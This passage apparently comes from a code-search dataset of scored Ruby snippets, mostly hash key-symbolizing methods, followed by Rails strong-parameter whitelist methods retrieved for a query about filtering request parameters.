"b14f0720e30bb8ca4f1c3f423d8085f1", "score": "0.7081182", "text": "def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[\n hash.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys(v)]\n end\n ]\n else\n hash\n end\n end", "title": "" }, { "docid": "171aad6d19b66eaaef830eddbeefb157", "score": "0.7073743", "text": "def symbolize_keys_of(hash)\n hash2 = {}\n hash.each {|k,v| hash2[k.to_sym] = v}\n hash2\n end", "title": "" }, { "docid": "48fe4d2b40e9fc48cf01be08952347ea", "score": "0.7056839", "text": "def symbolize_keys(hash)\n case hash\n when Array\n hash.map { |v| symbolize_keys(v) }\n when Hash\n Hash[hash.map { |k, v| [k.to_sym, symbolize_keys(v)] }]\n else\n hash\n end\n end", "title": "" }, { "docid": "9041aad1d13a1fa44e90b0370f4d48f4", "score": "0.7042929", "text": "def symbolize_keys(hash)\n if hash.is_a?(Hash)\n Hash[hash.map { |k, v| [k.to_s.underscore.to_sym, symbolize_keys(v)] }]\n elsif hash.respond_to?(:map)\n hash.map { |obj| symbolize_keys(obj) }\n else\n hash\n end\n end", "title": "" }, { "docid": "e0b50cc7b7e023bd818f63b3a40c3f77", "score": "0.7015052", "text": "def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\n end", "title": "" }, { "docid": "23287603a08d78c5a8fce54fbba8f86d", "score": "0.6989168", "text": "def symbolize_keys_deep!(h)\n if Hash == h\n Hash[\n h.map do |k, v|\n [k.respond_to?(:to_sym) ? k.to_sym : k, symbolize_keys_deep!(v)]\n end\n ]\n else\n h\n end\n end", "title": "" }, { "docid": "28a91b79405e5334719d8c73772a3446", "score": "0.6977026", "text": "def symbolize_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_sym] = v.is_a?(Hash) ? v.symbolize_keys : v }\n end", "title": "" }, { "docid": "f824f7fe045328c7e23a7baeeb3722cf", "score": "0.68728465", "text": "def transform_keys_to_symbols(hash)\n return hash if not hash.is_a?(Hash)\n hash.inject({}) { |result, (key, value)|\n new_key = case key\n when String then\n key.to_sym\n else\n key\n end\n new_value = case value\n when Hash\n if key.eql? 'attributes'\n value\n else\n transform_keys_to_symbols(value)\n end\n else\n value\n end\n result[new_key] = new_value\n result\n }\n end", "title": "" }, { "docid": "7fd7f30d02ceb2ba2dcf95db7fef0e25", "score": "0.6864506", "text": "def transform_keys_to_symbols(hash)\n return hash if not hash.is_a?(Hash)\n hash.inject({}) { |result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash\n if key.eql? 'attributes'\n value\n else\n transform_keys_to_symbols(value)\n end\n else value\n end\n result[new_key] = new_value\n result\n }\n end", "title": "" }, { "docid": "0af6ed1073ea58361a4ffce2a8fd3850", "score": "0.68643767", "text": "def symbolize_keys(hash)\n hash.inject({}){|result, (key, value)|\n new_key = case key\n when String then key.to_sym\n else key\n end\n new_value = case value\n when Hash then symbolize_keys(value)\n else value\n end\n result[new_key] = new_value\n result\n }\nend", "title": "" }, { "docid": "80fe36fffc3f9eadfa080b0627d4e0d2", "score": "0.68634", "text": "def symbolize_keys(hash)\n Hash[hash.map { |k, v| v.is_a?(Hash) ? [k.to_sym, symbolize_keys(v)] : [k.to_sym, v] }]\nend", "title": "" }, { "docid": "f0fe92e158b1a11dcde42df262615a85", "score": "0.6849238", "text": "def symbolize_keys(hash)\r\n target = hash.dup\r\n\r\n target.keys.each do |key|\r\n value = target.delete(key)\r\n if value.is_a? Hash\r\n value = symbolize_keys(value)\r\n end\r\n target[(key.to_sym rescue key) || key] = value\r\n end\r\n\r\n target\r\n end", "title": "" }, { "docid": "1394afb080575596e908b39d262839f6", "score": "0.68456477", "text": "def deep_symbolize_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "970f11a9375c1981c2a36b1009f67e04", "score": "0.6837959", "text": "def symbolize_keys(hash)\n Hash[hash.map { |k, v| [k.to_sym, v] }]\n end", "title": "" }, { "docid": "ed99601f41ea100f4f1e624946e33373", "score": "0.68273544", "text": "def symbolize_keys(hash)\n return hash unless hash.kind_of?(Hash)\n Hash[\n hash.map { |key, value|\n k = key.is_a?(String) ? key.to_sym : key\n v = symbolize_keys value\n [k,v]\n }]\n end", "title": "" }, { "docid": "5b4cb94c713e0cb589be0a8756b15f90", "score": "0.68125993", "text": "def symbolize_hash hash\n hash.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n end", "title": "" }, { "docid": "138a65b4c0d1e7cb4f6906b490a110b9", "score": "0.68087184", "text": "def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end", "title": "" }, { "docid": "138a65b4c0d1e7cb4f6906b490a110b9", "score": "0.68087184", "text": "def deep_symbolize_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_symbolize_keys(value) if value.is_a? Hash\n result[(key.to_sym rescue key) || key] = value\n result\n }\n end", "title": "" }, { "docid": "cdb83c31e49001a5cdb02b80a2099a86", "score": "0.68002033", "text": "def symbolize_keys_deep!(h)\n h.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n h[ks] = h.delete k # Preserve order even when k == ks\n symbolize_keys_deep! h[ks] if h[ks].kind_of? Hash\n end\n end", "title": "" }, { "docid": "5e4db63f56da1130eca5df585482af92", "score": "0.67880696", "text": "def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end", "title": "" }, { "docid": "5e4db63f56da1130eca5df585482af92", "score": "0.67880696", "text": "def deep_symbolize_keys!(hash)\n hash.keys.each do |k|\n ks = k.respond_to?(:to_sym) ? k.to_sym : k\n hash[ks] = hash.delete(k)\n deep_symbolize_keys!(hash[ks]) if hash[ks].kind_of?(Hash)\n end\n\n hash\n end", "title": "" }, { "docid": "4ad4547ee8c0d1e69f59c798ce4ab791", "score": "0.6743857", "text": "def symbolize_hash_keys(object)\n symbolize_proc = proc(&:to_sym)\n apply_key_mutator(object, symbolize_proc)\n end", "title": "" }, { "docid": "7a5bdc6bfc8f523d7e6594f3898a4e53", "score": "0.66679406", "text": "def keys_to_sym(hash)\n sym_key_hash = {}\n hash.each { |k, v| sym_key_hash[k.to_sym] = v }\n sym_key_hash\n end", "title": "" }, { "docid": "efb25f962651bd4e46e502cc3b38d9d2", "score": "0.66538304", "text": "def symbolize_keys(recursive = false)\n to_hash.symbolize_keys(recursive)\n end", "title": "" }, { "docid": "9fc069517d37018389501c80f0632f40", "score": "0.66464436", "text": "def keys_to_sym hash\n return hash unless hash.is_a? Hash\n hash.inject({}){ |opts,(k,v)| opts[k.to_sym] = v; opts }\n end", "title": "" }, { "docid": "652985c7a3492357ce41d2d099c50c1a", "score": "0.6641116", "text": "def symbolize_keys!(hash)\n transform_keys!(hash){ |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "16ed364bc9c24c67553e015819564400", "score": "0.6631093", "text": "def symbolize_keys_deep(hash)\n return hash unless hash.is_a?(Hash)\n\n Hash[hash.map do |key, value|\n # if value is array, loop each element and recursively symbolize keys\n if value.is_a? Array\n value = value.map { |element| symbolize_keys_deep(element) }\n # if value is hash, recursively symbolize keys\n elsif value.is_a? Hash\n value = symbolize_keys_deep(value)\n end\n\n [symbolize_key(key), value]\n end]\n end", "title": "" }, { "docid": "7a28c51731e2d8adf889f17393a3d5f6", "score": "0.6610775", "text": "def symbolize_keys; end", "title": "" }, { "docid": "126a24102622044e468657b5df1403b0", "score": "0.660405", "text": "def with_keys\n keys.each_with_object self.class.new do |hash_key, hsh|\n hsh[ yield hash_key ] = self[ hash_key ]\n end\n end", "title": "" }, { "docid": "1ff1ac4f98d1baf9ef55d73e1bee18f5", "score": "0.6589665", "text": "def symbolize_keys(hash)\n h = hash.dup\n h.keys.each do |key|\n h[(key.to_sym rescue key) || key] = h.delete(key)\n end\n h\n end", "title": "" }, { "docid": "100755b8dfeaa3eb2350abaf7ab975ad", "score": "0.65672815", "text": "def expanded_keys( hash )\n hash.each do |k,v|\n ek = expand_key( k )\n yield ek, v unless ek.empty?\n end\n end", "title": "" }, { "docid": "9e69a67c1367cfa64029a6d28cf275f8", "score": "0.6559649", "text": "def deep_symbolize(hsh, &block)\n hsh.inject({}) do |result, (key, value)|\n # Recursively deep-symbolize subhashes\n value = deep_symbolize(value, &block) if value.is_a? Hash\n # Recursively deep-symbolize subarrays\n value = deep_symbolize_array(value, &block) if value.is_a? Array\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = key.to_sym rescue key\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n result\n end\n end", "title": "" }, { "docid": "faaf2fd85ce682c8086ec927e79b6584", "score": "0.65472364", "text": "def symbolize_keys hsh\n new_hsh = Hash.new\n\n hsh.each_pair do |k,v|\n v = symbolize_keys v if v.is_a?(Hash)\n new_hsh[k.downcase.to_sym] = v\n end\n\n new_hsh\n end", "title": "" }, { "docid": "4b6edf90163b40f202c460227949b298", "score": "0.65206784", "text": "def symbolize_keys(hash)\n hash.keys.each do |key| # rubocop:disable Style/HashEachMethods\n hash[(key.to_sym rescue key) || key] = hash.delete(key)\n end\n hash\n end", "title": "" }, { "docid": "3642ae1391e36f4926a43ce60cd29b91", "score": "0.65106267", "text": "def symbolize_all_keys!\n self.keys.map do |key|\n if self[key].is_a? Hash\n self[key].symbolize_all_keys!\n elsif self[key].is_a? Array\n # Find hashes to sort in the array.\n self[key].each do |v|\n v.symbolize_all_keys! if v.is_a? Hash\n end\n end\n self[key.to_sym] = self.delete(key)\n end\n self\n end", "title": "" }, { "docid": "35524a3bd7c58e24cd1db549abf661ef", "score": "0.6476477", "text": "def symbolize_keys_recursively!(object); end", "title": "" }, { "docid": "91ba89ac8319ce1608a613cc42d8f0de", "score": "0.6460776", "text": "def keys_to_symbols(hash)\n hash.map do |k, v|\n [\n k.to_sym,\n case v\n when Hash\n keys_to_symbols(v)\n when Array\n v.map { |x| x.is_a?(Hash) ? keys_to_symbols(x) : x }\n else\n v\n end\n ]\n end.to_h\nend", "title": "" }, { "docid": "f96bc5b3a2fe818a75124d06c91166d8", "score": "0.6419962", "text": "def symbolize_hash(hash)\n hash.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }\n end", "title": "" }, { "docid": "9395c751ec71b4affaf174862ba49044", "score": "0.64121944", "text": "def recursive_symbolize_keys hash\n if !hash.is_a?(Hash)\n return hash\n end\n \n new_hash = {}\n hash.each_pair do |key, value|\n new_hash[key.to_sym] = recursive_symbolize_keys(value)\n end\n new_hash\n end", "title": "" }, { "docid": "2bd581e4f7e189e275ebdb448ecb89ed", "score": "0.64053684", "text": "def modify_keys\n each_with_object self.class.new do |hash_pair, hsh|\n hsh[ yield( hash_pair ) ] = self[ hash_pair[0] ]\n end\n end", "title": "" }, { "docid": "af1e7573559a6a5035328ce8d091f0d1", "score": "0.6366545", "text": "def symbolize_keys!\n replace symbolize_keys\n end", "title": "" }, { "docid": "2413d7836d6bad490337a5588ba4df6c", "score": "0.6356968", "text": "def symbolize! hash\n hash.symbolize_keys!\n hash.values.select{|v| v.is_a? Hash}.each{|h| symbolize!(h)}\n end", "title": "" }, { "docid": "28b0b0d424679d6403b212ecf7d66dea", "score": "0.63322073", "text": "def map_keys(hash)\n hash.map { |k, v| { yield(k) => v } }.reduce(:merge)\n end", "title": "" }, { "docid": "1730e9faa4980f0c8bb929cc76d1263a", "score": "0.63231885", "text": "def symbolize(h)\n sym = {}\n h.each do |key, val|\n nk = key.respond_to?(:intern) ? key.intern : key\n sym[nk] = val\n end\n sym\n end", "title": "" }, { "docid": "f599a59d0f1e034aa4afe7ebfed1ee97", "score": "0.6318109", "text": "def symbolize_keys_of_hashs!(array_of_hashs)\n array_of_hashs.collect!{|hash| symbolize_keys(hash)}\n end", "title": "" }, { "docid": "cf77ceda9fd94c99d9b93c7ab0d3653c", "score": "0.6315351", "text": "def hash_keys(hash)\n\thash.map { |k, v| k }\nend", "title": "" }, { "docid": "72d81355b677aa63f94fde6a714426b1", "score": "0.63081324", "text": "def indifferent_dig hsh, keys\n keys.reduce(hsh) do |nested, key|\n next nil unless nested\n\n case key\n when String\n nested.key?(key) ? nested[key] : nested[key.intern]\n when Symbol\n nested.key?(key) ? nested[key] : nested[key.to_s]\n else\n nested[key]\n end # case\n end # method reduce\n end", "title": "" }, { "docid": "ab171433acf4342b8bbe65a117a78e6b", "score": "0.6307827", "text": "def symbolize_keys\n dup.symbolize_keys!\n end", "title": "" }, { "docid": "ab171433acf4342b8bbe65a117a78e6b", "score": "0.6307827", "text": "def symbolize_keys\n dup.symbolize_keys!\n end", "title": "" }, { "docid": "ab171433acf4342b8bbe65a117a78e6b", "score": "0.6307827", "text": "def symbolize_keys\n dup.symbolize_keys!\n end", "title": "" }, { "docid": "8bbf2fb41b8e7800cb4ad3e07b74195a", "score": "0.63037837", "text": "def symbolize_keys\n dup.symbolize_keys!\n end", "title": "" }, { "docid": "77fadae8d366f53d058c1d6428b51385", "score": "0.6291691", "text": "def symbolize_keys_of_hashs(array_of_hashs)\n array_of_hashs.collect{|hash| symbolize_keys(hash)}\n end", "title": "" }, { "docid": "65ebdbb1c483ce310d89478586832836", "score": "0.6284895", "text": "def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "92bf4e65cb5f2beb456ef995d1f7b061", "score": "0.6281077", "text": "def to_sym hash\n hash.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\nend", "title": "" }, { "docid": "6b7ffad89f2080137be9af01a39ad5a5", "score": "0.62773776", "text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "50c500bb9d27f2e898de5169eb3a43be", "score": "0.62418336", "text": "def deeply_symbolize_keys(obj)\n deep_key_symbolizer.call( obj )\n end", "title": "" }, { "docid": "49c1b4e64367adf9a4dd29d6888f2c8d", "score": "0.6208226", "text": "def each\n @internal_hash.each { |k,_| yield k }\n end", "title": "" }, { "docid": "49c558a6ee92c79c2c29ea3ec7f473f4", "score": "0.6203285", "text": "def symbolize_keys_rec\n if is_a?(Hash)\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = (value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value\n options\n end\n elsif is_a?(Array)\n inject([]) do |options, value|\n options << ((value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value)\n options\n end\n else\n raise Exception.new(\"Can't do that!\")\n end\n end", "title": "" }, { "docid": "c200a1469d4e8dba9f6d947bf4e092a7", "score": "0.61672986", "text": "def coerce_symbolized_hash(hash, recursive = false)\n hash = not_nil_hash!(hash)\n symbolized = {}\n hash.each_pair{|k,v| \n if recursive and v.kind_of?(Hash)\n v = coerce_symbolized_hash(v)\n end\n symbolized[coerce_name(k)] = v\n }\n symbolized\n end", "title": "" }, { "docid": "dc71f867eab4d262f9ff6ddda3d1b608", "score": "0.61574674", "text": "def dump_hash(hash, context = CoderContext.new)\n # Symbolizing keys to unlock **intepolation\n ObjectDumper.dump(hash, context).symbolize_keys\n end", "title": "" }, { "docid": "00d5715270514beb816364630ca8150a", "score": "0.6147922", "text": "def deep_symbolize(hash_like)\n return {} if hash_like.nil? || hash_like.empty?\n r = {}\n hash_like.each do |key, value|\n value = deep_symbolize(value) if value.respond_to?(:values)\n r[key.to_sym] = value\n end\n r\n end", "title": "" }, { "docid": "01e3336018f7ef8760f5c8bc925814b6", "score": "0.6145166", "text": "def indifferent_hash\n Hash.new {|hash,key| hash[key.to_s] if Symbol === key }\n end", "title": "" }, { "docid": "01e3336018f7ef8760f5c8bc925814b6", "score": "0.6145166", "text": "def indifferent_hash\n Hash.new {|hash,key| hash[key.to_s] if Symbol === key }\n end", "title": "" }, { "docid": "01e3336018f7ef8760f5c8bc925814b6", "score": "0.6145166", "text": "def indifferent_hash\n Hash.new {|hash,key| hash[key.to_s] if Symbol === key }\n end", "title": "" }, { "docid": "e4447a6f2b929348fd73bc1b66a6fbd8", "score": "0.6127353", "text": "def symbolize_keys\r\n inject({}) do |options, (key, value)|\r\n options[(key.to_sym rescue key) || key] = value\r\n options\r\n end\r\n end", "title": "" }, { "docid": "b702683d83c4c92ccfe2a10912e2d670", "score": "0.6125925", "text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "b702683d83c4c92ccfe2a10912e2d670", "score": "0.6125925", "text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "b702683d83c4c92ccfe2a10912e2d670", "score": "0.6123955", "text": "def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "a379659b540b34e734d1fb729dd5ecd8", "score": "0.61187404", "text": "def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "e25e1f736b41b8978ed475a3e90bd2f2", "score": "0.6109342", "text": "def symbolize_hash(thing)\n if(defined?(Mash))\n Mash.new(thing)\n else\n result = {}\n thing.each do |k,v|\n result[k.to_sym] = v.is_a?(Hash) ? symbolize_hash(v) : v\n end\n result\n end\n end", "title": "" }, { "docid": "f85d6a20608ceb0285938166949d18f9", "score": "0.61077684", "text": "def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "f85d6a20608ceb0285938166949d18f9", "score": "0.61077684", "text": "def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "f85d6a20608ceb0285938166949d18f9", "score": "0.61077684", "text": "def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end", "title": "" }, { "docid": "703632ca38a114b55a14b4e8822d4ef8", "score": "0.6104155", "text": "def hash(hash, &block)\n hash.inject({}) do |result, (key, value)|\n # Recursively deep-symbolize subhashes\n value = _recurse_(value, &block)\n\n # Pre-process the key with a block if it was given\n key = yield key if block_given?\n # Symbolize the key string if it responds to to_sym\n sym_key = key.to_sym rescue key\n\n # write it back into the result and return the updated hash\n result[sym_key] = value\n result\n end\n end", "title": "" }, { "docid": "acc2c74711dac5821b20472290953081", "score": "0.609655", "text": "def nested_keys(&block)\n Enumerator.new do |y|\n to_a.each do |k,v|\n y.yield k\n v.nested_keys { |nk| y.yield(nk) } if v.is_a?(Hash)\n end\n end.each(&block)\n end", "title": "" }, { "docid": "7f31aae7249bc9d7b2788b3729ec02c0", "score": "0.6081421", "text": "def keys_to_sym clean: false\n self.inject({}){|memo,(k,v)| memo[clean ? k.to_s.to_clean_sym : k.to_s.to_sym] = (v.is_a?(Hash) || v.is_a?(Array) ? v.keys_to_sym(clean:clean) : v); memo}\n end", "title": "" }, { "docid": "bc1aab947a9318f09b763819ba48064c", "score": "0.6072577", "text": "def symbolize_keys!; self end", "title": "" }, { "docid": "235b2e3dea9b37e6126d235d21f3adfa", "score": "0.60624063", "text": "def stringify_hash_keys(hash); end", "title": "" }, { "docid": "bdfb047e4aa039ecf7b83c07037e7915", "score": "0.60566616", "text": "def deep_transform_keys!(hash, &block)\n _deep_transform_keys_in_object!(hash, &block)\n end", "title": "" }, { "docid": "ef4298d39bb87ed1cf744554372dd3ab", "score": "0.60544074", "text": "def symbolize(hash)\n {}.tap do |h|\n hash.each { |key, value| h[key.to_sym] = map_value_symbol(value) }\n end\n end", "title": "" }, { "docid": "e6487b3329e32ddeb9c3370bd56ddd6b", "score": "0.60398114", "text": "def symbolize_keys!\n keys.each do |key|\n unless key.is_a?(Symbol)\n self[key.to_sym] = self[key]\n delete(key)\n end\n end\n self\n end", "title": "" }, { "docid": "faa7857aebc2df65d99d80cfc869ab86", "score": "0.6039796", "text": "def symbolize_keys!\n replace(self.symbolize_keys)\n end", "title": "" }, { "docid": "84ef60f9af333add14c2152fb5183acf", "score": "0.60288495", "text": "def indifferent_hash\n Hash.new {|hash,key| hash[key.to_sym] if String === key }\n end", "title": "" }, { "docid": "98a0171189e893483c9dc49ff826b7ae", "score": "0.60248256", "text": "def symbols\n keys.sort\n end", "title": "" }, { "docid": "9d4ffc6501c15fa18ed9b2037a915809", "score": "0.60246634", "text": "def indifferent_hash\n Hash.new {|hash,key| hash[key.to_s] if Symbol === key }\n end", "title": "" }, { "docid": "7db1837092688928ef41d6003243c85e", "score": "0.60220075", "text": "def keys_to_symbols()\n self.deep_convert_keys { |k| k.to_s.to_sym }\n end", "title": "" }, { "docid": "5d35f0ca242379c35d084c48724b290e", "score": "0.60193825", "text": "def symbolize_recursive(hash)\n {}.tap do |h|\n hash.each { |key, value| h[key.to_sym] = map_value(value) }\n end\n end", "title": "" }, { "docid": "5a34470f4a9c8ce7c0364035e139ed6d", "score": "0.6005161", "text": "def underscorize_keys(hash)\n return unless hash.is_a?(Hash)\n hash.keys.each do |k|\n key = k.to_s.underscore.to_sym\n hash[key] = hash[k]\n hash.delete(k) if key != k\n end\n hash\n end", "title": "" }, { "docid": "4e63004d6ea1d8d281785b29fdf75155", "score": "0.59957355", "text": "def convert_keys_to_symbols_recursive(obj)\n if obj.is_a?(Hash)\n if var_name = mangled_mustache_variable?(obj)\n return \"{{#{var_name}}}\"\n end\n obj.keys.inject({}) do |h, k| \n # Complication due to fact that keys can be misformed, such as due to yaml parsing of form port: {{port}}\n if k.respond_to?(:to_sym)\n h.merge(k.to_sym => convert_keys_to_symbols_recursive(obj[k]))\n else\n Log.error_pp([\"Unexpected hash key:\",k])\n h.merge(k => convert_keys_to_symbols_recursive(obj[k]))\n end\n end\n elsif obj.is_a?(Array)\n obj.map { |el| convert_keys_to_symbols_recursive(el) }\n else\n obj\n end\n end", "title": "" }, { "docid": "f417fea23b698f6cf815f42d5ec381a6", "score": "0.59895414", "text": "def transform_keys!(hash)\n return enum_for(:transform_keys!, hash) unless block_given?\n hash.keys.each do |key|\n hash[yield(key)] = hash.delete(key)\n end\n hash\n end", "title": "" }, { "docid": "3f432163234a9d8990f40439027b62c6", "score": "0.59721345", "text": "def keys\n super + aliasing_hash_aliases.keys\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "bcb45841781aa2b43117feb485937f2d", "score": "0.0", "text": "def sheet_b_params\n params.fetch(:sheet_b, {})\n end", "title": "" } ]
[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.6980957", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6783065", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.6747844", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.6741468", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.67356336", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6592548", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.65036845", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.64978707", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.64825076", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.64795035", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.64560914", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.64397955", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.6379666", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.6376688", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.6366702", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.6319728", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.6300833", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.6300629", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6294277", "text": "def valid_params_request?; end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.6293905", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6291174", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.62905735", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6283171", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6242344", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62403613", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6218049", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.62143815", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.62104696", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.61949855", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.6178671", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.6176147", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, 